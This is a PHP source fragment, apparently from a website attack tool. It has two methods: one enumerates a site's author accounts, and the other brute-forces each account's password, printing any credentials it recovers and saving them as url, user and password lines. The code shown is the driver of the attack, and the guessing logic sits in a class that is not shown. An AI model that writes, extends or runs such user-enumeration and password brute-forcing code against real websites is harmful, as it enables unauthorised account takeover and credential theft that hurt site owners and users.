/** * Enumerate the website's authors. * Output the obtained info. * Saves the authors into the output data. */ private function enumerate() { $users = $this->bruteforcer->enumerate($this->limit, $this->fails); if (!empty($users)) { $this->output->writeln(' [i] <comment>' . count($users) . '</comment> user(s) found'); $table = new Table($this->output); $table->setHeaders(array('Id', 'Login', 'Name'))->setRows($users); $table->render(); } else { $this->output->writeln('<error> [!] No users found</error>'); } }
/** * Bruteforce the current loaded website's usernames. * Output the obtained credentials. * Saves the credentials into the output data. */ private function bruteforce() { foreach ($this->users as $user) { $this->bruteforcer->setUsername($user); $this->output->writeln(' [+] Bruteforcing user <comment>' . $user . '</comment>'); if ($password = $this->bruteforcer->bruteforce()) { $this->output->writeln('<info> [!] Password found!</info> <comment>' . $password . '</comment>'); // Save data for a possible output $this->output_data .= $this->url . ' | ' . $user . ' | ' . $password . PHP_EOL; } } $this->output->writeln(''); }